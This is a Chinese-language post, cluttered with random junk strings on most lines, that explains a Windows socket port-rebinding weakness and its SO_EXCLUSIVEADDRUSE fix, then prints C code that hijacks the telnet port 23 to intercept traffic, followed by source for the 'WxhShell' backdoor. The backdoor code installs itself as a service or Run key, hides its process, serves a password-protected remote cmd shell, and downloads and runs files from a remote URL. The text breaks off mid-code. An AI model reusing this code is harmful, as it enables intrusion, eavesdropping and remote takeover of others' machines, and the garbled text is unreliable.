在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
{0Ol/N;|D s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
kAe-d f'?6D+Yw~ saddr.sin_family = AF_INET;
9 %.<V_$ (HX [bG` saddr.sin_addr.s_addr = htonl(INADDR_ANY);
q.hc%s2? _-yF9g"I bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Hh'14n&W %n`iA7j$W 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
=~2 Uv>YG j/` qd(=B 这意味着什么?意味着可以进行如下的攻击:
Lq8Z!AIw> ]F)-}
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
NcY0pAR* F~0%j}ve 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
N~K)0RETn YC,.Y{oY{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
tEs[zo+DR- X-) ]lAP 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
kBQenMm c%,6L <[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
V/wc[p
~ C9;X6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
$\J9F=<a jX8 C2}j 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
,knI26Jh a.*j8T #include
$}"Wta #include
y2ws*IZ" #include
)k%drdY{J' #include
z%gtV' DWORD WINAPI ClientThread(LPVOID lpParam);
1#X=&N int main()
:@807OYzy {
kG7,1teMk WORD wVersionRequested;
$(mdz)Cfy DWORD ret;
=&g}Y WSADATA wsaData;
aD3F!Sn BOOL val;
] GPz>k SOCKADDR_IN saddr;
DP'Dg /D SOCKADDR_IN scaddr;
r D!.N
int err;
|>fS"u SOCKET s;
1?#p !;& SOCKET sc;
z?> y int caddsize;
M,!no HANDLE mt;
vz_g2.7l\ DWORD tid;
4JQ`&:?r wVersionRequested = MAKEWORD( 2, 2 );
ydFhw}1> err = WSAStartup( wVersionRequested, &wsaData );
3f.Gog if ( err != 0 ) {
byxehJ6[V printf("error!WSAStartup failed!\n");
98BBsjkd return -1;
#yRA.; }
?)QBJ9F saddr.sin_family = AF_INET;
``)1`wx$ yt#;3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
sTstc+w 6rC P]YnF saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7Mg7B saddr.sin_port = htons(23);
(<~R[sT| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
GyM%vGl
3 {
L<>NL$CrN printf("error!socket failed!\n");
NHVx!Kc return -1;
*RE-K36m|u }
|[7$) $ val = TRUE;
nZ+5@(
* //SO_REUSEADDR选项就是可以实现端口重绑定的
Zgf||, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
)0V]G{QN {
3S|;yOl#X printf("error!setsockopt failed!\n");
Dj&bHC5% return -1;
?-& D' }
c5+lm}R ? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
r!gCh`PiK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
<>/MKMq! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
^* v{t?u "X}F%:HL if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
mSw?iL {
`V2j[Fz ret=GetLastError();
gbv[*R{<% printf("error!bind failed!\n");
HD^~4\% return -1;
={vtfgxl }
&UH z listen(s,2);
;mKU>F<V while(1)
Im1qWe {
L*oLKigT caddsize = sizeof(scaddr);
!td.ks0 //接受连接请求
_llaH sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/
H/Ne
)r if(sc!=INVALID_SOCKET)
$ttr_4= {
2jBE+k"M mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
4$w-A-\t if(mt==NULL)
BcO2* 3 {
c)YGwkY,, printf("Thread Creat Failed!\n");
#;\;F PuZ break;
`%I{l }
##ea-"m8 }
#/=yz<B CloseHandle(mt);
3t6'5{ }
Nmq5Tv closesocket(s);
mzR
@P$:36 WSACleanup();
=zGz|YI*? return 0;
Rk0rHC6[ }
Y[]t_o) DWORD WINAPI ClientThread(LPVOID lpParam)
{NqGWkGt*b {
5F?g6?j{ SOCKET ss = (SOCKET)lpParam;
9f[[%80 SOCKET sc;
hRcJ):Wyb unsigned char buf[4096];
A'R sy6 SOCKADDR_IN saddr;
#e|kA&+8M long num;
A0sW 9P6F DWORD val;
q)i(wEdUZ DWORD ret;
y9 '3vZ //如果是隐藏端口应用的话,可以在此处加一些判断
+~]g&Mf6o //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
/k Vc7LC saddr.sin_family = AF_INET;
$466?
oI saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
w'>v@`y saddr.sin_port = htons(23);
5E(P,!-. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
L%Hm#eFx {
aJ@qB9(ZBe printf("error!socket failed!\n");
LA0x6E+I return -1;
@= 9y5r }
f#MN-1[67 val = 100;
EmoU7iy if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Qt39H@c|z~ {
\~1+T ret = GetLastError();
GQNiBsV return -1;
?OdA`!wE }
\Nyxi7 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
l'f!za0 {
!+l,
m8Hly ret = GetLastError();
TC}u[kM return -1;
xq*yZ5:5Jo }
_/\H3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Y>~zt - {
cK@K\AE printf("error!socket connect failed!\n");
#<3\}*/ closesocket(sc);
l!'iLq"K( closesocket(ss);
)j*qGsOg return -1;
:UciFIa }
7QFEQ} while(1)
,FO|'l {
"G(/MT^C //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
=LzW#s=O //如果是嗅探内容的话,可以再此处进行内容分析和记录
06;{2&ju< //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
=Ji:nEl]z num = recv(ss,buf,4096,0);
dj]N59< if(num>0)
6*Qpq7Ml send(sc,buf,num,0);
-lEh}r else if(num==0)
r"{1H break;
5E=Odep` num = recv(sc,buf,4096,0);
mg]dK p if(num>0)
Ca|;8ggf send(ss,buf,num,0);
"TI?
qoz else if(num==0)
tBQ>
p. break;
A/aQpEb% }
gQwmYe closesocket(ss);
X2Mj|_#u closesocket(sc);
LOzKpvGl return 0 ;
v_h{_b8 }
?sE21m?b- gV BV@v!W $!w%= ==========================================================
;wZ.p"T9^ AR^Di`n! 下边附上一个代码,,WXhSHELL
v2R:=d
')> 6 [E" ==========================================================
rK wkj) PN=yf@<V3F #include "stdafx.h"
:f:C*mYvu HS9U.G> #include <stdio.h>
1uMdgrJRR #include <string.h>
{lJpcS #include <windows.h>
39#>C~BOl #include <winsock2.h>
o~p^`5# #include <winsvc.h>
(ShJ! #include <urlmon.h>
4LLCb7/5lP pDQ,v" #pragma comment (lib, "Ws2_32.lib")
^<-SW]x #pragma comment (lib, "urlmon.lib")
Vo()J4L xH uyfQLk #define MAX_USER 100 // 最大客户端连接数
ipG+qj/= #define BUF_SOCK 200 // sock buffer
ww,'n{_ #define KEY_BUFF 255 // 输入 buffer
Ns(F%zkm @}:(t{>;e7 #define REBOOT 0 // 重启
fJKOuFK #define SHUTDOWN 1 // 关机
zT"#9"[" 9"TPDU7" #define DEF_PORT 5000 // 监听端口
TuL(
/ W#7c`nm #define REG_LEN 16 // 注册表键长度
,@xZuq+K< #define SVC_LEN 80 // NT服务名长度
;C'*Ui +,,~<Vm // 从dll定义API
bql6Z1l typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
{;r5]wimb typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
C4,W[L]4" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
=9-c*bL typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
vr$[ '"Gi&:*nQ< // wxhshell配置信息
l]gfT& struct WSCFG {
sXA=KD8 int ws_port; // 监听端口
/DCUwg=0 char ws_passstr[REG_LEN]; // 口令
T=vI'"w int ws_autoins; // 安装标记, 1=yes 0=no
NG ~sE&,7 char ws_regname[REG_LEN]; // 注册表键名
XOMWqQr| char ws_svcname[REG_LEN]; // 服务名
lx SGvvP4 char ws_svcdisp[SVC_LEN]; // 服务显示名
cqDnZ`|6 char ws_svcdesc[SVC_LEN]; // 服务描述信息
q=U=Y
n char ws_passmsg[SVC_LEN]; // 密码输入提示信息
hE${eJQ| U int ws_downexe; // 下载执行标记, 1=yes 0=no
fqxMTTg@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ryPzq}# char ws_filenam[SVC_LEN]; // 下载后保存的文件名
p{U ro!J,K XQ>m8K?\d };
utv.uwfat %?ad.F+7 // default Wxhshell configuration
-VL3em|0 struct WSCFG wscfg={DEF_PORT,
Jh1fM`kB5K "xuhuanlingzhe",
#\qES7We6 1,
*
-)aGL "Wxhshell",
oID,PB*9 "Wxhshell",
&LE/hA "WxhShell Service",
wbTw\b= "Wrsky Windows CmdShell Service",
<#sK~G "Please Input Your Password: ",
x\WKsc 1,
NeH^g0Q2,g "
http://www.wrsky.com/wxhshell.exe",
GI/o!0"_ "Wxhshell.exe"
70@:!HI] };
xQ4Q '9 }/=_ // 消息定义模块
Yyf8B char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
tP3Upw"U char *msg_ws_prompt="\n\r? for help\n\r#>";
<?+\\Z!7 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Ad(j&P char *msg_ws_ext="\n\rExit.";
idHBz*3~ps char *msg_ws_end="\n\rQuit.";
YRFM1?* char *msg_ws_boot="\n\rReboot...";
r?{tBju^ char *msg_ws_poff="\n\rShutdown...";
6B=J*8
Hs char *msg_ws_down="\n\rSave to ";
sHNt>5p cOSUe_S0w[ char *msg_ws_err="\n\rErr!";
TeHR,GB char *msg_ws_ok="\n\rOK!";
I?gbu@o 09r.0Ks char ExeFile[MAX_PATH];
M%m$5[;n int nUser = 0;
&12.| HANDLE handles[MAX_USER];
s&4Y+dk93 int OsIsNt;
&}<IR\ci 5 Jd,]~KAP SERVICE_STATUS serviceStatus;
yo5|~"yZY SERVICE_STATUS_HANDLE hServiceStatusHandle;
b$hQB090 tlE+G@|^ // 函数声明
!"Kg
b;A int Install(void);
i -+B{H int Uninstall(void);
HQ"D>hsuU int DownloadFile(char *sURL, SOCKET wsh);
*&7Av7S int Boot(int flag);
"Mth<%i void HideProc(void);
'j|;M int GetOsVer(void);
MOXDR int Wxhshell(SOCKET wsl);
2!A/]:[F void TalkWithClient(void *cs);
d:3G4g int CmdShell(SOCKET sock);
WK-WA$7\ int StartFromService(void);
6H@=O1W int StartWxhshell(LPSTR lpCmdLine);
]O^!P,l)" Hc71 .rqS VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
krgsmDi7 VOID WINAPI NTServiceHandler( DWORD fdwControl );
_15r!RZ:1 YDP< // 数据结构和表定义
#8cY,%<S] SERVICE_TABLE_ENTRY DispatchTable[] =
e(cctC|l {
p tMysYT' {wscfg.ws_svcname, NTServiceMain},
vtmvvv {NULL, NULL}
Pl
U!-7 };
{A{=RPL :*1bhk8~ // 自我安装
fn)c&|aCt int Install(void)
^8DC
W`V {
qjuX16o char svExeFile[MAX_PATH];
H'GyWG|Wx HKEY key;
{/N4/gu strcpy(svExeFile,ExeFile);
tT'+3 aB.`'d)V // 如果是win9x系统,修改注册表设为自启动
7cH[}v`pn if(!OsIsNt) {
%c):^;6p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~u3E+w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Ao2t=vg RegCloseKey(key);
$5l 8V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
VUk2pEGO. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
VB\oK\F5z RegCloseKey(key);
D{~I return 0;
'~2;WF0h }
smJ%^'x }
`8EHhN; }
KnKV+:" else {
G}d@^9FkE a8''t_Dp // 如果是NT以上系统,安装为系统服务
zxY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
3DbS\jja if (schSCManager!=0)
<rNCb; {
{'T=&`&OF SC_HANDLE schService = CreateService
[;%qxAB/_ (
qhc3 oRe schSCManager,
wpO-cJ!, wscfg.ws_svcname,
zrri&QDF< wscfg.ws_svcdisp,
d?S7E
q9` SERVICE_ALL_ACCESS,
SnRk` 5t SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%[b~4,c1 SERVICE_AUTO_START,
crG+BFi SERVICE_ERROR_NORMAL,
Vv#|%^0 svExeFile,
UoCFj2?C NULL,
'7 SFa]tH NULL,
a~jM^b;VN NULL,
G<U MZg NULL,
6x7pqHM NULL
1)U%p );
n]jZ2{g+ if (schService!=0)
?*){%eE {
dX?8@uzu CloseServiceHandle(schService);
Q)#+S(TG CloseServiceHandle(schSCManager);
lku}I4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
&N.D!7X strcat(svExeFile,wscfg.ws_svcname);
u6j\@U6 I if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
q3<Pb,Z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
:=3Ty]e RegCloseKey(key);
}j;*7x8( return 0;
*DcJ). }
SjgjGJw }
(< gk<e* CloseServiceHandle(schSCManager);
gZ8n[zxf6 }
hi^@969 }
ju~js Sxa+"0d6 return 1;
\4zb9CxOZ }
O0[.*xG 5srj|'ja // 自我卸载
Hx5t![g2K! int Uninstall(void)
ckG`^< {
9)}Nx>K HKEY key;
vau0Jn%=ck z)*7LI if(!OsIsNt) {
{a;my"ly if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
JI##l:,7r RegDeleteValue(key,wscfg.ws_regname);
R-5EztmLae RegCloseKey(key);
XpFW(v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
j+YA/54` RegDeleteValue(key,wscfg.ws_regname);
JL.noV3q$ RegCloseKey(key);
;w--fqxVl return 0;
Pv,Q*gh` }
x=s=~cu4, }
5F&xU$$a- }
8$4@U;Vh; else {
?(rJ tn>z%6;&Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
!(QDhnx}9c if (schSCManager!=0)
#[=%+ *Q {
D;
i%J SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
T$)N2]FE if (schService!=0)
i^`]TOP {
^FJ.C|l( if(DeleteService(schService)!=0) {
y(!J8(yA CloseServiceHandle(schService);
`IN/1=]5 CloseServiceHandle(schSCManager);
jG~zpZh return 0;
Y_S>S(0 }
oS.fy31p CloseServiceHandle(schService);
7S'3U}Y>VX }
cG{>[Lf CloseServiceHandle(schSCManager);
NFxs4:]
RT }
z86[_l: }
:jo
!Yi 9OI&De5?=V return 1;
b8o}bm{s }
/1OzX'5f JzI/kH~ // 从指定url下载文件
l.gt+e
int DownloadFile(char *sURL, SOCKET wsh)
c0}* $e {
=GGt:3Kx- HRESULT hr;
oVDqX=G char seps[]= "/";
?2LRMh")$ char *token;
TX/Ng+v S char *file;
n_ORD@$] char myURL[MAX_PATH];
p{c+ +P5 char myFILE[MAX_PATH];
+eT1/x0 V)Oj6nD] strcpy(myURL,sURL);
OZ,%T9vP token=strtok(myURL,seps);
{[Sd[P while(token!=NULL)
m 3k}iIU7 {
~Q4 emgBD file=token;
[3&Y* W token=strtok(NULL,seps);
DSb/+8KT }
'Ll,HgU; 6h8fzqRzc GetCurrentDirectory(MAX_PATH,myFILE);
L&*/s&>b strcat(myFILE, "\\");
%UV'HcO/gp strcat(myFILE, file);
BM6 J send(wsh,myFILE,strlen(myFILE),0);
AiMD"7
)c send(wsh,"...",3,0);
E}&Z=+v} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
F^knlv' if(hr==S_OK)
^dc~hD return 0;
!w+A3Z>V else
Pi^5LI6JW return 1;
^#:F8D SY: gr }
YS7R8| ctqXzM ` // 系统电源模块
_hK83s4 int Boot(int flag)
U2~7qC,!Do {
'8 O(J7J HANDLE hToken;
yDk|ad| TOKEN_PRIVILEGES tkp;
^##tk lL6bIjf if(OsIsNt) {
u>e4;f`F OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
1#o><
? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
7soiy
A tkp.PrivilegeCount = 1;
9t ` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Xn<~ln AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
?$:;hGO.<~ if(flag==REBOOT) {
7F=Xn@ _ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
EKwA1,Xz return 0;
x^s2bb }
Cq-d, else {
qJ\tc\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
g(9\r return 0;
kB`t_`7f }
P[|FK(l }
^g[,}t:/d else {
>%v w(pt if(flag==REBOOT) {
+}MV$X if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
auzrM4<tz return 0;
)@%wj;>a }
OIT9.c0h else {
W6=j^nv if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
QEUr+7[ return 0;
iymOq9 }
JjH#,@'. }
{u/G!{N$ Z @:5vo return 1;
u!iBAr5 }
J|ni'Hb ubq4Zv7' // win9x进程隐藏模块
hN~]$"@2 void HideProc(void)
8(GH.)I+0 {
Mo4#UV <ZF,3~v? HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
A
(:7q4 if ( hKernel != NULL )
UIpW#t {
je9eJUKE pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
q?Jd.r5* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
uydy[n\ FreeLibrary(hKernel);
2(s+?n.N }
IV"OzQONx x2 s%qZ# return;
1-HL#y*7$ }
}]8n3&* 2!6+>nvO // 获取操作系统版本
0zSRk]i.f int GetOsVer(void)
dr25;L? B {
FW?zJ OSVERSIONINFO winfo;
QFg,pTj winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
m
6Xex.d GetVersionEx(&winfo);
*6Ojv-
G|5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
bp'qrcFuiL return 1;
(WW*yv.J else
>g ):xi3qK return 0;
+Lq;0tRC }
VxlK:*t` q T16th[D // 客户端句柄模块
NT qtr=" int Wxhshell(SOCKET wsl)
aD2+9?m {
Jd].e=]pN SOCKET wsh;
kG =nDy struct sockaddr_in client;
GrwoV~ DWORD myID;
ul{u^ j 6]GEn=t while(nUser<MAX_USER)
r6B\yH2 {
F4!,8)} int nSize=sizeof(client);
^uU'Qc4S= wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
9t`Z_HwdCb if(wsh==INVALID_SOCKET) return 1;
MhE'_sq 8 *Fr=+KN handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
@,b:s+]rp if(handles[nUser]==0)
b zz{ p1e closesocket(wsh);
n@3(bl5{ else
XIv{jzgF nUser++;
GCw<jHw }
1
\#n{a3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
UfE41el: f
zu#! return 0;
q&eUw<(F }
M<f=xY2$v "8pfLI // 关闭 socket
D.e4S6\& void CloseIt(SOCKET wsh)
UV ?.KVD~ {
x#mZSSd closesocket(wsh);
S C'F,! nUser--;
|!0R"lv'u ExitThread(0);
z8#c!h<@; }
$6~
\xe= 5H+S= // 客户端请求句柄
R~jV void TalkWithClient(void *cs)
.Yl*kG6r {
a59l"b =xO q-M SOCKET wsh=(SOCKET)cs;
/eM_:H5 char pwd[SVC_LEN];
p1dqDgF* char cmd[KEY_BUFF];
i(eLE"G+ char chr[1];
9Y9pKTU int i,j;
E8-8E2i, /ae]v+ while (nUser < MAX_USER) {
D,aJ`PK~ Z;/"-.i if(wscfg.ws_passstr) {
!&~8j7{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
?V6+o`bm //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
QlbhQkn //ZeroMemory(pwd,KEY_BUFF);
DYvi1X6 i=0;
8"C;I=]8 while(i<SVC_LEN) {
Jm%hb, ^1&xt(G // 设置超时
8}Pd- .se fd_set FdRead;
fk(l.A$ struct timeval TimeOut;
OG#7Va FD_ZERO(&FdRead);
[zO FD_SET(wsh,&FdRead);
HJY_l TimeOut.tv_sec=8;
91oIx W TimeOut.tv_usec=0;
x;RjLI 4h int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
G$ l>By if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
6B4s6 vXUrS+~x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
XxW~4<r pwd
=chr[0]; 5 =Os
sAr
if(chr[0]==0xd || chr[0]==0xa) { Zi+>#kDV
pwd=0; ~I0I#_$'P
break; B_u+$Odo
} &Wj
%`T{
i++; .x__X3P>\
} l}>gG[q!
/2,s-^
// 如果是非法用户,关闭 socket sje}E+{[
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E%g_O_
} 'ADaz75`*r
E'p5
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %@<}z|.4
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :#!m(s`
Ga\E`J$c
while(1) { /jI>=:z
*iSsGb\M%
ZeroMemory(cmd,KEY_BUFF); "%+C@>`(
'bP-pgc
// 自动支持客户端 telnet标准 o;o
ji
j=0; cw3JSz9
while(j<KEY_BUFF) { "FC;k
>m
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sd]` I)
cmd[j]=chr[0]; xUYUOyV
if(chr[0]==0xa || chr[0]==0xd) { 1>W|vOv"Z?
cmd[j]=0; 6&% c
break; 'C6K\E
} dZ UB
j++;
C\7qAR\
} Or&TGwo I
F+vgkqs@9
// 下载文件 HYgq@47$[
if(strstr(cmd,"http://")) { A"S{W^iL
send(wsh,msg_ws_down,strlen(msg_ws_down),0); %YhZ#>WT
if(DownloadFile(cmd,wsh)) w <
p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &6/#
O
else E<>Ev_5 >
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~4th;#'
} @?_<A%hz
else { qyMR0ai-
ZHxdrX)
switch(cmd[0]) { \WD}@6)
~
<C\snB
// 帮助 #uNQ+US0
case '?': { c ?mCt0Cg
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bb];qYuCO
break; .bbl-a/
3
} -yt[0
// 安装 ukV1_QeN[
case 'i': { 1F'j. 1
if(Install()) 9)p VDS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8W?/Sg`
else bet?5Dk
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }E$^!q{
break; wy&s~lpV,7
} \p"`!n
// 卸载 b_*Y5"(*
case 'r': { e:IUO1#
if(Uninstall()) =!_e(J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lz X0B&:
else H kDT14 `&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 50Z$3T
break; ,u|vpN
} U/E M(y
// 显示 wxhshell 所在路径 S?nXpYr
case 'p': { AW@I,
char svExeFile[MAX_PATH]; W?8 |h
strcpy(svExeFile,"\n\r"); 0_Tr>hz
strcat(svExeFile,ExeFile); f.0~HnNg1
send(wsh,svExeFile,strlen(svExeFile),0); mM"!=' z
break; `,ZsKxI
} M xUj7ae
// 重启 %-?HCjT
case 'b': { F+Og8^!
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +DS_'Tmr
if(Boot(REBOOT)) epi{Ayb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *M;!{)m?
else { -~eNC^t;W
closesocket(wsh); !+&"y K@J
ExitThread(0); \{L!hAw
} WE\912j
break; g$eb@0$
} ZRO
// 关机 7Zp'}Om<I
case 'd': { [*w^|b?
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V%?oI]"
l
if(Boot(SHUTDOWN)) zDY!0QZLF\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cYyv
iR59#
else { aS?A3h4WM_
closesocket(wsh); U<fe 'd
ExitThread(0); zC6,m6Dv
} MIasCH>r
break; {ScilT
} tG(?PmQ
// 获取shell z
cN1i^
case 's': { EY;C5P4
CmdShell(wsh); yWsV !Ub
closesocket(wsh); |Vc8W0~0
ExitThread(0); L%9DaK
break; DLe?@R5
} qczGv2%!
// 退出 "NSm2RU3
case 'x': { QkUq%}_0
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NxVqV5'
CloseIt(wsh); j[Uul#
break; 0XFJ/
} O=8:K'
// 离开
.BJ;}
case 'q': { ac6Lv}w_
send(wsh,msg_ws_end,strlen(msg_ws_end),0); =ZjF5,@
closesocket(wsh); x3O$eKy\|5
WSACleanup(); @U'I_`LL
exit(1); %CJgJ,pk>
break; DSad[>Uj],
} W4Nbl
} 6-U|e|e
} O]RP ?'vO
vttmSdY
// 提示信息 J_]?.V*A
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZP5.?A-=C
} v|`f8M2
} R"#DR^.;
5an#,vCn{
return; L31B:t^
} PpX=~Of~
'S\YNLqQ
// shell模块句柄 {0F\Y+
int CmdShell(SOCKET sock) :VC#\/f
{ poj@G{
STARTUPINFO si; &yN@(P)
ZeroMemory(&si,sizeof(si)); VnW]-P*:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; % \Nfj)9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _3DRCNvh
PROCESS_INFORMATION ProcessInfo; j#r|t+{"C
char cmdline[]="cmd"; 74hGkf^S
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0TK+R43_
return 0; CsG1HR@
} /PF X1hSu
$EHAHNL?Lx
// 自身启动模式 d-nqV5
int StartFromService(void) JaP2Q} &B
{ X(kyu,w
typedef struct O0Y/y2d
{ ]}H;`H
DWORD ExitStatus; &PWz4hZ
DWORD PebBaseAddress; <&E3QeK
DWORD AffinityMask; I)I,{xT4
DWORD BasePriority; i&\N_PUm[
ULONG UniqueProcessId; 5fuOl-M0W
